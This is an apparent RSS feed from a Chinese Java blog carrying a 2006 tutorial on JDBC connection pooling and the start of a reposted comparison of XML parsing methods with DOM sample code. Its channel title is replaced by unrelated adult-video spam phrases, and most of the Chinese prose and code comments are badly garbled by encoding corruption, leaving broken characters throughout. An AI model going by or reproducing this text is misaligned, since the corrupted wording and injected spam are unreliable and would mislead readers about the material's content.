ï»??xml version="1.0" encoding="utf-8" standalone="yes"?>欧美制服丝袜第一页,igao视频网在线视频,日本一区二区高清视频http://www.aygfsteel.com/frankboy/zh-cnMon, 04 Aug 2025 16:49:14 GMTMon, 04 Aug 2025 16:49:14 GMT60JDBC数据库连接池http://www.aygfsteel.com/frankboy/archive/2006/08/28/66139.htmlfrankboyfrankboyMon, 28 Aug 2006 03:48:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/08/28/66139.htmlhttp://www.aygfsteel.com/frankboy/comments/66139.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/08/28/66139.html#Feedback1http://www.aygfsteel.com/frankboy/comments/commentRss/66139.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/66139.html数据åº?/a>的基本原ç?

  在Java语言中,JDBCåQˆJava DataBase ConnectionåQ‰æ˜¯åº”用½E‹åºä¸Žæ•°æ®åº“沟通的桥梁,

  即Java语言通过JDBC技术访问数据库。JDBC是一¿Uâ€œå¼€æ”䏀çš„æ–ÒŽ¡ˆåQŒå®ƒä¸ºæ•°æ®åº“应用开发äh员﹑数据库前台工具开发äh员提供了一¿Uæ ‡å‡†çš„应用½E‹åºè®¾è®¡æŽ¥å£åQŒä‹É开发äh员可以用¾U¯Java语言¾~–写完整的数据库应用½E‹åºã€‚JDBC提供两种APIåQŒåˆ†åˆ«æ˜¯é¢å‘开发äh员的API和面向底层的JDBC驱动½E‹åºAPIåQŒåº•层主要通过直接的JDBC驱动和JDBC-ODBC桥驱动实çŽîC¸Žæ•°æ®åº“çš„˜qžæŽ¥ã€?/p>

  一般来è¯ß_¼ŒJava应用½E‹åºè®‰K—®æ•°æ®åº“çš„˜q‡ç¨‹åQˆå¦‚å›?所½Cºï¼‰æ˜¯ï¼š

  ①装载数据库驱动½E‹åºåQ?/p>

  ②通过JDBC建立数据库连接;

  ③访问数据库åQŒæ‰§è¡ŒSQL语句åQ?/p>

  ④断开数据库连接�/p>


� Java数据库访问机�/div>
  JDBCä½œäØ“ä¸€¿Uæ•°æ®åº“讉K—®æŠ€æœ¯ï¼Œå…ähœ‰½Ž€å•易用的优点。但使用˜q™ç§æ¨¡å¼˜q›è¡ŒWeb应用
  ½E‹åºå¼€å‘,存在很多问题åQšé¦–先,每一‹Æ¡Webè¯äh±‚都要建立一‹Æ¡æ•°æ®åº“˜qžæŽ¥ã€‚徏立连接是一个费时的‹zÕdЍåQŒæ¯‹Æ¡éƒ½å¾—花è´?.05sï½?s的时é—ß_¼Œè€Œä¸”¾pȝ»Ÿ˜q˜è¦åˆ†é…å†…存资源。这个时间对于一‹Æ¡æˆ–几次数据库操作,或许感觉不出¾pȝ»Ÿæœ‰å¤šå¤§çš„开销。可是对于现在的Web应用åQŒå°¤å…¶æ˜¯å¤§åž‹ç”µå­å•†åŠ¡¾|‘ç«™åQŒåŒæ—¶æœ‰å‡ ç™¾äººç”šè‡›_‡ åƒäh在线是很正常的事。在˜q™ç§æƒ…况下,频繁的进行数据库˜qžæŽ¥æ“ä½œåŠ¿å¿…å ç”¨å¾ˆå¤šçš„ç³»¾lŸèµ„源,¾|‘站的响应速度必定下降åQŒä¸¥é‡çš„甚至会造成服务器的崩溃。不是危­a€è€¸å¬åQŒè¿™ž®±æ˜¯åˆ¶çº¦æŸäº›ç”µå­å•†åŠ¡¾|‘站发展的技术瓶颈问题。其‹Æ¡ï¼Œå¯¹äºŽæ¯ä¸€‹Æ¡æ•°æ®åº“˜qžæŽ¥åQŒä‹É用完后都得断开。否则,如果½E‹åºå‡ºçŽ°å¼‚å¸¸è€Œæœªèƒ½å…³é—­ï¼Œž®†ä¼šå¯ÆD‡´æ•°æ®åº“ç³»¾lŸä¸­çš„内存泄漏,最¾lˆå°†ä¸å¾—不重启数据库。还有,˜q™ç§å¼€å‘不能控制被创徏的连接对象数åQŒç³»¾lŸèµ„源会被毫无顾及的分配出去åQŒå¦‚˜qžæŽ¥˜q‡å¤šåQŒä¹Ÿå¯èƒ½å¯ÆD‡´å†…存泄漏åQŒæœåŠ¡å™¨å´©æºƒã€?/div>
 
  数据库连接池åQˆconnection poolåQ‰çš„工作原理
  1、基本概念及原理
  ç”׃¸Šé¢çš„分析可以看出åQŒé—®é¢˜çš„æ ÒŽºž®±åœ¨äºŽå¯¹æ•°æ®åº“连接资源的低效½Ž¡ç†ã€‚我们知道,
  对于å…׃ín资源åQŒæœ‰ä¸€ä¸ªå¾ˆè‘—名的设计模式:资源池(Resource PoolåQ‰ã€‚该模式正是ä¸ÞZº†è§£å†³èµ„源的频¾Jåˆ†é…ï¹‘é‡Šæ”¾æ‰€é€ æˆçš„é—®é¢˜ã€‚äØ“è§£å†³ä¸Šè¿°é—®é¢˜åQŒå¯ä»¥é‡‡ç”¨æ•°æ®åº“˜qžæŽ¥æ± æŠ€æœ¯ã€‚数据库˜qžæŽ¥æ± çš„基本思想ž®±æ˜¯ä¸ºæ•°æ®åº“˜qžæŽ¥å»ºç«‹ä¸€ä¸ªâ€œç¼“冲池”。预先在¾~“冲池中攑օ¥ä¸€å®šæ•°é‡çš„˜qžæŽ¥åQŒå½“需要徏立数据库˜qžæŽ¥æ—Óž¼Œåªéœ€ä»Žâ€œç¼“冲池”中取出一个,使用完毕之后再放回去。我们可以通过讑֮š˜qžæŽ¥æ± æœ€å¤§è¿žæŽ¥æ•°æ¥é˜²æ­¢ç³»¾lŸæ— ž®½çš„与数据库˜qžæŽ¥ã€‚更为重要的是我们可以通过˜qžæŽ¥æ± çš„½Ž¡ç†æœºåˆ¶ç›‘视数据库的˜qžæŽ¥çš„æ•°é‡ï¹‘使用情况åQŒäØ“¾pȝ»Ÿå¼€å‘﹑‹¹‹è¯•及性能调整提供依据。连接池的基本工作原理见下图2ã€?/div>

å›? ˜qžæŽ¥æ± çš„基本工作原理
  2、服务器自带的连接池
  JDBCçš„API中没有提供连接池的方法。一些大型的WEB应用服务器如BEAçš„WebLogicå’ŒIBMçš„WebSphere½{‰æä¾›äº†˜qžæŽ¥æ± çš„æœºåˆ¶åQŒä½†æ˜¯å¿…™åÀLœ‰å…¶ç¬¬ä¸‰æ–¹çš„专用类æ–ÒŽ³•支持˜qžæŽ¥æ± çš„用法ã€?/div>
  ˜qžæŽ¥æ± å…³é”®é—®é¢˜åˆ†æž?/div>
  1ã€åÆˆå‘é—®é¢?/div>
  ä¸ÞZº†ä½¿è¿žæŽ¥ç®¡ç†æœåŠ¡å…·æœ‰æœ€å¤§çš„é€šç”¨æ€§ï¼Œå¿…é¡»è€ƒè™‘å¤šçº¿½E‹çŽ¯å¢ƒï¼Œå›_ƈ发问题。这个问题相å¯Òޝ”较好解决åQŒå› ä¸ºJava语言自èín提供了对òq¶å‘½Ž¡ç†çš„æ”¯æŒï¼Œä½¿ç”¨synchronized关键字即可确保线½E‹æ˜¯åŒæ­¥çš„。ä‹Éç”¨æ–¹æ³•äØ“ç›´æŽ¥åœ¨ç±»æ–ÒŽ³•前面加上synchronized关键字,如:
public synchronized Connection getConnectionåQˆï¼‰
  2、多数据库服务器和多用户
  对于大型的企业çñ”应用åQŒå¸¸å¸”Rœ€è¦åŒæ—¶è¿žæŽ¥ä¸åŒçš„æ•°æ®åº“(如连接Oracleå’ŒSybaseåQ‰ã€‚如何连接不同的数据库呢åQŸæˆ‘们采用的½{–略是:设计一个符合单例模式的˜qžæŽ¥æ± ç®¡ç†ç±»åQŒåœ¨˜qžæŽ¥æ± ç®¡ç†ç±»çš„唯一实例被创建时è¯Õd–一个资源文ä»Óž¼Œå…¶ä¸­èµ„源文äšg中存攄¡€å¤šä¸ªæ•°æ®åº“çš„url地址åQ?lt;poolName.url>åQ‰ï¹‘用户名(<poolName.user>åQ‰ï¹‘密码åQ?lt;poolName.password>åQ‰ç­‰ä¿¡æ¯ã€‚如tx.url=172.21.15.123åQ?000/tx_itåQŒtx.user=yangåQŒtx.password=yang321。根据资源文件提供的信息åQŒåˆ›å»ºå¤šä¸ªè¿žæŽ¥æ± ¾cȝš„实例åQŒæ¯ä¸€ä¸ªå®žä¾‹éƒ½æ˜¯ä¸€ä¸ªç‰¹å®šæ•°æ®åº“的连接池。连接池½Ž¡ç†¾cÕd®žä¾‹äؓ每个˜qžæŽ¥æ± å®žä¾‹å–一个名字,通过不同的名字来½Ž¡ç†ä¸åŒçš„连接池ã€?/div>
  对于同一个数据库有多个用户ä‹É用不同的名称和密码访问的情况åQŒä¹Ÿå¯ä»¥é€šè¿‡èµ„源文äšg处理åQŒå³åœ¨èµ„源文件中讄¡½®å¤šä¸ªå…ähœ‰ç›¸åŒurl地址åQŒä½†å…ähœ‰ä¸åŒç”¨æˆ·åå’Œå¯†ç çš„æ•°æ®åº“˜qžæŽ¥ä¿¡æ¯ã€?/div>
  3、事务处�/div>
  我们知道åQŒäº‹åŠ¡å…·æœ‰åŽŸå­æ€§ï¼Œæ­¤æ—¶è¦æ±‚å¯ÒŽ•°æ®åº“的操作符合“ALL-ALL-NOTHING”原åˆ?卛_¯¹äºŽä¸€¾l„SQL语句要么全做åQŒè¦ä¹ˆå…¨ä¸åšã€?/div>
  在Java语言中,Connection¾cÀLœ¬íw«æä¾›äº†å¯¹äº‹åŠ¡çš„æ”¯æŒåQŒå¯ä»¥é€šè¿‡è®„¡½®Connectionçš„AutoCommitå±žæ€§äØ“false,然后昑ּçš„调用commit或rollbackæ–ÒŽ³•来实现。但要高效的˜q›è¡ŒConnection复用åQŒå°±å¿…须提供相应的事务支持机制。可采用每一个事务独占一个连接来实现åQŒè¿™¿Uæ–¹æ³•可以大大降低事务管理的复杂性ã€?/div>
  4、连接池的分配与释放
  ˜qžæŽ¥æ± çš„分配与释放,对系¾lŸçš„æ€§èƒ½æœ‰å¾ˆå¤§çš„影响。合理的分配与释放,可以提高˜qžæŽ¥çš„复用度åQŒä»Žè€Œé™ä½Žå¾ç«‹æ–°˜qžæŽ¥çš„开销åQŒåŒæ—¶è¿˜å¯ä»¥åŠ å¿«ç”¨æˆ·çš„è®¿é—®é€Ÿåº¦ã€?/div>
  对于˜qžæŽ¥çš„管理可使用½Iºé—²æ± ã€‚即把已¾låˆ›å»ÞZ½†ž®šæœªåˆ†é…å‡ºåŽ»çš„è¿žæŽ¥æŒ‰åˆ›å¾æ—‰™—´å­˜æ”¾åˆîC¸€ä¸ªç©ºé—²æ± ä¸­ã€‚每当用戯‚¯·æ±‚一个连接时åQŒç³»¾lŸé¦–先检查空闲池内有没有½Iºé—²˜qžæŽ¥ã€‚如果有ž®±æŠŠå»ºç«‹æ—‰™—´æœ€é•¿ï¼ˆé€šè¿‡å®¹å™¨çš„顺序存攑֮žçŽŽÍ¼‰çš„那个连接分配给他(实际是先做连接是否有效的判断åQŒå¦‚果可用就分配¾l™ç”¨æˆøP¼Œå¦‚不可用ž®±æŠŠ˜q™ä¸ª˜qžæŽ¥ä»Žç©ºé—²æ± åˆ æŽ‰åQŒé‡æ–°æ£€‹¹‹ç©ºé—²æ± æ˜¯å¦˜q˜æœ‰˜qžæŽ¥åQ‰ï¼›å¦‚果没有则检查当前所开˜qžæŽ¥æ± æ˜¯å¦è¾¾åˆ°è¿žæŽ¥æ± æ‰€å…è®¸çš„æœ€å¤§è¿žæŽ¥æ•°åQˆmaxConnåQ?如果没有辑ֈ°åQŒå°±æ–°å¾ä¸€ä¸ªè¿žæŽ¥ï¼Œå¦‚果已经辑ֈ°åQŒå°±½{‰å¾…一定的旉™—´åQˆtimeoutåQ‰ã€‚如果在½{‰å¾…的时间内有连接被释放出来ž®±å¯ä»¥æŠŠ˜q™ä¸ª˜qžæŽ¥åˆ†é…¾l™ç­‰å¾…的用户åQŒå¦‚果等待时间超˜q‡é¢„定时间timeout,则返回空å€û|¼ˆnullåQ‰ã€‚ç³»¾lŸå¯¹å·²ç»åˆ†é…å‡ºåŽ»æ­£åœ¨ä½¿ç”¨çš„è¿žæŽ¥åªåšè®¡æ•ŽÍ¼Œå½“ä‹É用完后再˜q”还¾l™ç©ºé—²æ± ã€‚对于空闲连接的状态,可开辟专门的¾U¿ç¨‹å®šæ—¶‹‚€‹¹‹ï¼Œ˜q™æ ·ä¼šèŠ±è´¹ä¸€å®šçš„¾pȝ»Ÿå¼€é”€åQŒä½†å¯ä»¥ä¿è¯è¾ƒå¿«çš„响应速度。也可采取不开辟专门线½E‹ï¼Œåªæ˜¯åœ¨åˆ†é…å‰‹‚€‹¹‹çš„æ–ÒŽ³•ã€?/div>
  5、连接池的配¾|®ä¸Ž¾l´æŠ¤
  ˜qžæŽ¥æ± ä¸­åˆ°åº•应该攄¡½®å¤šå°‘˜qžæŽ¥åQŒæ‰èƒ½ä‹É¾pȝ»Ÿçš„æ€§èƒ½æœ€ä½»I¼Ÿ¾pȝ»Ÿå¯é‡‡å–设¾|®æœ€ž®è¿žæŽ¥æ•°åQˆminConnåQ‰å’Œæœ€å¤§è¿žæŽ¥æ•°åQˆmaxConnåQ‰æ¥æŽ§åˆ¶˜qžæŽ¥æ± ä¸­çš„连接。最ž®è¿žæŽ¥æ•°æ˜¯ç³»¾lŸå¯åŠ¨æ—¶˜qžæŽ¥æ± æ‰€åˆ›å¾çš„è¿žæŽ¥æ•°ã€‚å¦‚æžœåˆ›å»ø™¿‡å¤šï¼Œåˆ™ç³»¾lŸå¯åŠ¨å°±æ…¢ï¼Œä½†åˆ›å»ºåŽ¾pȝ»Ÿçš„响应速度会很快;如果创徏˜q‡å°‘åQŒåˆ™¾pȝ»Ÿå¯åŠ¨çš„å¾ˆå¿«ï¼Œå“åº”èµäh¥å´æ…¢ã€‚è¿™æ øP¼Œå¯ä»¥åœ¨å¼€å‘æ—¶åQŒè®¾¾|®è¾ƒž®çš„æœ€ž®è¿žæŽ¥æ•°åQŒå¼€å‘è“v来会快,而在¾pȝ»Ÿå®žé™…使用时设¾|®è¾ƒå¤§çš„åQŒå› ä¸ø™¿™æ ·å¯¹è®‰K—®å®¢æˆ·æ¥è¯´é€Ÿåº¦ä¼šå¿«äº›ã€‚最大连接数是连接池中允许连接的最大数目,具体讄¡½®å¤šå°‘åQŒè¦çœ‹ç³»¾lŸçš„讉K—®é‡ï¼Œå¯é€šè¿‡åå¤‹¹‹è¯•åQŒæ‰¾åˆ°æœ€ä½³ç‚¹ã€?/div>
  如何¼‹®ä¿˜qžæŽ¥æ± ä¸­çš„æœ€ž®è¿žæŽ¥æ•°å‘¢ï¼Ÿæœ‰åŠ¨æ€å’Œé™æ€ä¸¤¿Uç­–略。动态即每隔一定时间就对连接池˜q›è¡Œ‹‚€‹¹‹ï¼Œå¦‚果发现˜qžæŽ¥æ•°é‡ž®äºŽæœ€ž®è¿žæŽ¥æ•°åQŒåˆ™è¡¥å……相应数量的新˜qžæŽ¥,以保证连接池的正常运转。静态是发现½Iºé—²˜qžæŽ¥ä¸å¤Ÿæ—¶å†åŽÀL£€æŸ¥ã€?/div>
 
  ˜qžæŽ¥æ± çš„实现
  1、连接池模型
  本文讨论的连接池包括一个连接池¾c»ï¼ˆDBConnectionPoolåQ‰å’Œä¸€ä¸ªè¿žæŽ¥æ± ½Ž¡ç†¾c»ï¼ˆDBConnetionPoolManageråQ‰ã€‚连接池¾cÀL˜¯å¯ÒŽŸä¸€æ•°æ®åº“所有连接的“缓冲池”,主要实现以下功能åQšâ‘ ä»Žè¿žæŽ¥æ± èŽ·å–æˆ–åˆ›å»ºå¯ç”¨è¿žæŽ¥ï¼›â‘¡ä‹É用完毕之后,把连接返˜q˜ç»™˜qžæŽ¥æ± ï¼›â‘¢åœ¨¾pȝ»Ÿå…³é—­å‰ï¼Œæ–­å¼€æ‰€æœ‰è¿žæŽ¥åƈ释放˜qžæŽ¥å ç”¨çš„ç³»¾lŸèµ„源;④还能够处理无效˜qžæŽ¥åQˆåŽŸæ¥ç™»è®îCؓ可用的连接,ç”׃ºŽæŸç§åŽŸå› ä¸å†å¯ç”¨åQŒå¦‚­‘…æ—¶åQŒé€šè®¯é—®é¢˜åQ‰ï¼Œòq¶èƒ½å¤Ÿé™åˆ¶è¿žæŽ¥æ± ä¸­çš„˜qžæŽ¥æ€ÀL•°ä¸ä½ŽäºŽæŸä¸ªé¢„定值和不超˜q‡æŸä¸ªé¢„定倹{€?/div>
  ˜qžæŽ¥æ± ç®¡ç†ç±»æ˜¯è¿žæŽ¥æ± ¾cȝš„外覆¾c»ï¼ˆwrapperåQ?½W¦åˆå•例模式åQŒå³¾pȝ»Ÿä¸­åªèƒ½æœ‰ä¸€ä¸ªè¿žæŽ¥æ± ½Ž¡ç†¾cȝš„实例。其主要用于对多个连接池对象的管理,å…ähœ‰ä»¥ä¸‹åŠŸèƒ½åQšâ‘ è£…蝲òq¶æ³¨å†Œç‰¹å®šæ•°æ®åº“çš„JDBC驱动½E‹åºåQ›â‘¡æ ÒŽ®å±žæ€§æ–‡ä»¶ç»™å®šçš„信息åQŒåˆ›å»ø™¿žæŽ¥æ± å¯¹è±¡åQ›â‘¢ä¸ºæ–¹ä¾¿ç®¡ç†å¤šä¸ªè¿žæŽ¥æ± å¯¹è±¡åQŒäؓ每一个连接池对象取一个名字,实现˜qžæŽ¥æ± åå­—与其实例之间的映射åQ›â‘£è·Ÿè¸ªå®¢æˆ·ä½¿ç”¨˜qžæŽ¥æƒ…况åQŒä»¥ä¾‰Kœ€è¦æ˜¯å…³é—­˜qžæŽ¥é‡Šæ”¾èµ„源。连接池½Ž¡ç†¾cȝš„å¼•å…¥ä¸»è¦æ˜¯äØ“äº†æ–¹ä¾¿å¯¹å¤šä¸ª˜qžæŽ¥æ± çš„使用和管理,如系¾lŸéœ€è¦è¿žæŽ¥ä¸åŒçš„æ•°æ®åº“,或连接相同的数据库但ç”׃ºŽå®‰å…¨æ€§é—®é¢˜ï¼Œéœ€è¦ä¸åŒçš„用户使用不同的名¿U°å’Œå¯†ç ã€?/div>
  2、连接池实现
  下面¾l™å‡º˜qžæŽ¥æ± ç±»å’Œè¿žæŽ¥æ± ½Ž¡ç†¾cȝš„主要属æ€?br />及所要实现的基本接口åQ?
public class DBConnectionPool implements TimerListener{
private int checkedOut;//已被分配出去的连接数
private ArrayList freeConnections = new ArrayList();//容器åQŒç©ºé—²æ± åQŒæ ¹æ?/创徏旉™—´™åºåºå­˜æ”¾å·²åˆ›å»ÞZ½†ž®šæœªåˆ†é…å‡ºåŽ»çš„è¿žæŽ?br />private int minConn;//˜qžæŽ¥æ± é‡Œ˜qžæŽ¥çš„æœ€ž®æ•°é‡?br />private int maxConn;//˜qžæŽ¥æ± é‡Œå…è®¸å­˜åœ¨çš„æœ€å¤§è¿žæŽ¥æ•°
private String name;//䏸™¿™ä¸ªè¿žæŽ¥æ± å–个名字åQŒæ–¹ä¾¿ç®¡ç?br />private String password;//˜qžæŽ¥æ•°æ®åº“时需要的密码
private String url;//æ‰€è¦åˆ›å»ø™¿žæŽ¥çš„æ•°æ®åº“的地址
private String user;//˜qžæŽ¥æ•°æ®åº“时需要的用户å?br />public Timer timer;//定时å™?br />public DBConnectionPool(String name, String URL, String user, String
password, int maxConn)//公开的构造函æ•?br />public synchronized void freeConnection(Connection con) //使用完毕之后åQ?/把连接返˜q˜ç»™½Iºé—²æ±?br />public synchronized Connection getConnection(long timeout)//得到一个连接,//timeout是等待时é—?br />public synchronized void release()//断开所有连接,释放占用的系¾lŸèµ„æº?br />private Connection newConnection()//新徏一个数据库˜qžæŽ¥
public synchronized void TimerEvent() //定时器事件处理函�/div>
}
public class DBConnectionManager {
static private DBConnectionManager instance;//˜qžæŽ¥æ± ç®¡ç†ç±»çš„唯一实例
static private int clients;//客户数量
private ArrayList drivers = new ArrayList();//容器åQŒå­˜æ”¾æ•°æ®åº“驱动½E‹åº
private HashMap pools = new HashMap ();//以name/valueçš„åŞ式存取连接池//对象的名字及˜qžæŽ¥æ± å¯¹è±?br />static synchronized public DBConnectionManager getInstance()//如果唯一çš?/实例instance已经创徏åQŒç›´æŽ¥è¿”回这个实ä¾?否则åQŒè°ƒç”¨ç§æœ‰æž„造函敎ͼŒåˆ?/廸™¿žæŽ¥æ± ½Ž¡ç†¾cȝš„唯一实例
private DBConnectionManager()//¿Uæœ‰æž„造函æ•?在其中调用初始化函数init()
public void freeConnection(String name, Connection con)// 释放一个连接,//name是一个连接池对象的名�/div>
public Connection getConnection(String name)//ä»Žåå­—äØ“name的连接池对象//中得åˆîC¸€ä¸ªè¿žæŽ?/div>
public Connection getConnection(String name, long time)//ä»Žåå­—äØ“name
//的连接池对象中取得一个连接,time是等待时�/div>
public synchronized void release()//释放所有资�/div>
private void createPools(Properties props)//æ ÒŽ®å±žæ€§æ–‡ä»¶æä¾›çš„信息åQŒåˆ›å»?/一个或多个˜qžæŽ¥æ±?/div>
private void init()//初始化连接池½Ž¡ç†¾cȝš„唯一实例åQŒç”±¿Uæœ‰æž„造函数调ç”?/div>
private void loadDrivers(Properties props)//装蝲数据库驱动程�/div>
} 
  3、连接池使用
  上面所实现的连接池在程序开发时如何应用到系¾lŸä¸­å‘¢ï¼Ÿä¸‹é¢ä»¥Servletä¸ÞZ¾‹è¯´æ˜Ž˜qžæŽ¥æ± çš„使用ã€?/div>
  Servlet的生命周期是åQšåœ¨å¼€å§‹å¾ç«‹servletæ—Óž¼Œè°ƒç”¨å…¶åˆå§‹åŒ–åQˆinitåQ‰æ–¹æ³•。之后每个用戯‚¯·æ±‚éƒ½å¯ÆD‡´ä¸€ä¸ªè°ƒç”¨å‰é¢å¾ç«‹çš„实例的serviceæ–ÒŽ³•的线½E‹ã€‚最后,当服务器军_®šå¸è²ä¸€ä¸ªservletæ—Óž¼Œå®ƒé¦–先调用该servletçš?destroyæ–ÒŽ³•ã€?/div>
  æ ÒŽ®servlet的特点,我们可以在初始化函数中生成连接池½Ž¡ç†¾cȝš„唯一实例åQˆå…¶ä¸­åŒ…括创å»ÞZ¸€ä¸ªæˆ–多个˜qžæŽ¥æ± ï¼‰ã€‚如åQ?/div>
public void init() throws ServletException
{
 connMgr = DBConnectionManager.getInstance();
} 
  然后ž®±å¯ä»¥åœ¨serviceæ–ÒŽ³•中通过˜qžæŽ¥æ± å¿UîC‹É用连接池åQŒæ‰§è¡Œæ•°æ®åº“操作。最后在destroyæ–ÒŽ³•中释攑֍ ç”¨çš„¾pȝ»Ÿèµ„源åQŒå¦‚åQ?
public void destroy() {
 connMgr.release(); super.destroy();
}
  ¾l“束è¯?/div>
  在ä‹É用JDBC˜q›è¡Œä¸Žæ•°æ®åº“有关的应用开发中åQŒæ•°æ®åº“˜qžæŽ¥çš„管理是一个难炏V€‚很多时候,˜qžæŽ¥çš„æØœä¹Þq®¡ç†æ‰€é€ æˆçš„ç³»¾lŸèµ„源开销˜q‡å¤§æˆäؓ制约大型企业¾U§åº”用效率的瓉™¢ˆã€‚对于众多用戯‚®¿é—®çš„Web应用åQŒé‡‡ç”¨æ•°æ®åº“˜qžæŽ¥æŠ€æœ¯çš„¾pȝ»Ÿåœ¨æ•ˆçŽ‡å’Œ½E›_®šæ€§ä¸Šæ¯”采用传¾lŸçš„其他方式的系¾lŸè¦å¥½å¾ˆå¤šã€‚本文阐˜qîCº†ä½¿ç”¨JDBC讉K—®æ•°æ®åº“的技术﹑讨论了基于连接池技术的数据库连接管理的关键问题òq¶ç»™å‡ÞZº†ä¸€ä¸ªå®žçŽ°æ¨¡åž‹ã€‚æ–‡ç« æ‰€¾l™å‡ºçš„æ˜¯˜qžæŽ¥æ± ç®¡ç†ç¨‹åºçš„一¿UåŸºæœ¬æ¨¡å¼ï¼Œä¸ºæé«˜ç³»¾lŸçš„æ•´ä½“性能åQŒåœ¨æ­¤åŸº¼‹€ä¸Šè¿˜å¯ä»¥˜q›è¡Œå¾ˆå¤šæœ‰æ„ä¹‰çš„æ‰©å±•ã€?/div>/DIV>


]]>XML解析技术分析(转蝲åQ?/title><link>http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Sun, 20 Aug 2006 04:34:00 GMT</pubDate><guid>http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html</guid><wfw:comment>http://www.aygfsteel.com/frankboy/comments/64601.html</wfw:comment><comments>http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/frankboy/comments/commentRss/64601.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/frankboy/services/trackbacks/64601.html</trackback:ping><description><![CDATA[ <table cellspacing="0" cellpadding="2" width="95%" align="center" bgcolor="#009ace" border="0"> <tbody> <tr> <td class="TdBorderRB"> <div align="center"> <strong>Java中四¿UXML解析技术之不完全测è¯?/strong> </div> </td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="95%" align="center" border="0"> <tbody> <tr> <td height="30"> <div align="center">作者:未知 来源åQšæœªçŸ?加入旉™—´åQ?004-11-1 天新软äšgå›?/div> </td> </tr> <tr> <td valign="top">在åã^时工作中åQŒéš¾å…ä¼šé‡åˆ°æŠ?XML ä½œäØ“æ•°æ®å­˜å‚¨æ ¼å¼ã€‚é¢å¯¹ç›®å‰ç§¾cȝ¹å¤šçš„解决æ–ÒŽ¡ˆåQŒå“ªä¸ªæœ€é€‚合我们呢?在这½‹‡æ–‡ç« ä¸­åQŒæˆ‘对这四种ä¸ÀLµæ–ÒŽ¡ˆåšä¸€ä¸ªä¸å®Œå…¨è¯„测åQŒä»…仅针寚wåŽ?XML ˜q™å—æ¥æµ‹è¯•ï¼Œå› äØ“éåŽ† XML 是工作中使用最多的åQˆè‡³ž®‘æˆ‘è®¤äØ“åQ‰ã€?<br /><br />  é¢?å¤?br /><br />  ‹¹‹è¯•环境åQ?br /><br />  AMD 毒龙1.4G OC 1.5Gã€?56M DDR333、Windows2000 Server SP4、Sun JDK 1.4.1+Eclipse 2.1+Resin 2.1.8åQŒåœ¨ Debug 模式下测试ã€?br /><br />  XML æ–‡äšg格式如下åQ?br /><br />åQ?xml version="1.0" encoding="GB2312"?åQ?br />åQœRESULTåQ?br /> åQœVALUEåQ?br />  åQœNOåQžA1234åQ?NOåQ?br />  åQœADDRåQžå››å·çœXX县XX镇XXè·¯XŒDµXXåøP¼œ/ADDRåQ?br /> åQ?VALUEåQ?br /> åQœVALUEåQ?br />  åQœNOåQžB1234åQ?NOåQ?br />  åQœADDRåQžå››å·çœXX市XX乡XX村XX¾l„</ADDRåQ?br /> åQ?VALUEåQ?br />åQ?RESULTåQ?<br /><br />  ‹¹‹è¯•æ–ÒŽ³•åQ?br /><br />  采用 JSP 端调用BeanåQˆè‡³äºŽäؓ什么采用JSP来调用,请参考:http://blog.csdn.net/rosen/archive/2004/10/15/138324.aspxåQ‰ï¼Œè®©æ¯ä¸€¿Uæ–¹æ¡ˆåˆ†åˆ«è§£æž?0Kã€?00Kã€?000Kã€?0000Kçš?XML æ–‡äšgåQŒè®¡½Ž—其消耗时é—ß_¼ˆå•位:毫秒åQ‰ã€?br /><br />  JSP æ–‡äšgåQ?br /><br />åQ?@ page contentType="text/html; charset=gb2312" %åQ?br />åQ?@ page import="com.test.*"%åQ?br /><br />åQœhtmlåQ?br />åQœbodyåQ?br />åQ?<br />String args[]={""};<br />MyXMLReader.main(args);<br />%åQ?br />åQ?bodyåQ?br />åQ?htmlåQ?<br /><br />  ‹¹?è¯?br /><br />  首先出场的是 DOMåQˆJAXP Crimson 解析器) <br /><br />  DOM 是用与åã^台和语言无关的方式表½C?XML 文档的官æ–?W3C 标准。DOM 是以层次¾l“æž„¾l„织的节ç‚ÒŽˆ–信息片断的集合。这个层‹Æ¡ç»“构允许开发äh员在树中å¯ÀL‰¾ç‰¹å®šä¿¡æ¯ã€‚分析该¾l“构通常需要加载整个文档和构造层‹Æ¡ç»“构,然后才能做ä“Q何工作。由于它是基于信息层‹Æ¡çš„åQŒå› è€?DOM 被认为是åŸÞZºŽæ ‘或åŸÞZºŽå¯¹è±¡çš„。DOM 以及òq¿ä¹‰çš„基于树的处理具有几个优炏V€‚首先,ç”׃ºŽæ ‘在内存中是持久的,因此可以修改它以便应用程序能å¯ÒŽ•°æ®å’Œ¾l“构作出更改。它˜q˜å¯ä»¥åœ¨ä»ÖM½•æ—¶å€™åœ¨æ ‘ä¸­ä¸Šä¸‹å¯ÆDˆªåQŒè€Œä¸æ˜¯åƒ SAX 那样是一‹Æ¡æ€§çš„处理。DOM 使用èµäh¥ä¹Ÿè¦½Ž€å•得多ã€?br /><br />  另一斚w¢åQŒå¯¹äºŽç‰¹åˆ«å¤§çš„æ–‡æ¡£ï¼Œè§£æžå’ŒåŠ è½½æ•´ä¸ªæ–‡æ¡£å¯èƒ½å¾ˆæ…¢ä¸”很耗资源,因此使用其他手段来处理这æ ïLš„æ•°æ®ä¼šæ›´å¥½ã€‚这些基于事件的模型åQŒæ¯”å¦?SAXã€?br /><br />  Beanæ–‡äšgåQ?br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.w3c.dom.*;<br />import javax.xml.parsers.*;<br /><br />public class MyXMLReader{<br /><br /> public static void main(String arge[]){<br />  long lasting =System.currentTimeMillis();<br />  try{ <br />   File f=new File("data_10k.xml");<br />   DocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();<br />   DocumentBuilder builder=factory.newDocumentBuilder();<br />   Document doc = builder.parse(f);<br />   NodeList nl = doc.getElementsByTagName("VALUE");<br />   for (int i=0;iåQœnl.getLength();i++){<br />    System.out.print("车牌åïL :" + doc.getElementsByTagName("NO").item(i).getFirstChild().getNodeValue());<br />    System.out.println(" 车主地址:" + doc.getElementsByTagName("ADDR").item(i).getFirstChild().getNodeValue());<br />  }<br />  }catch(Exception e){<br />   e.printStackTrace();<br />  }<br />  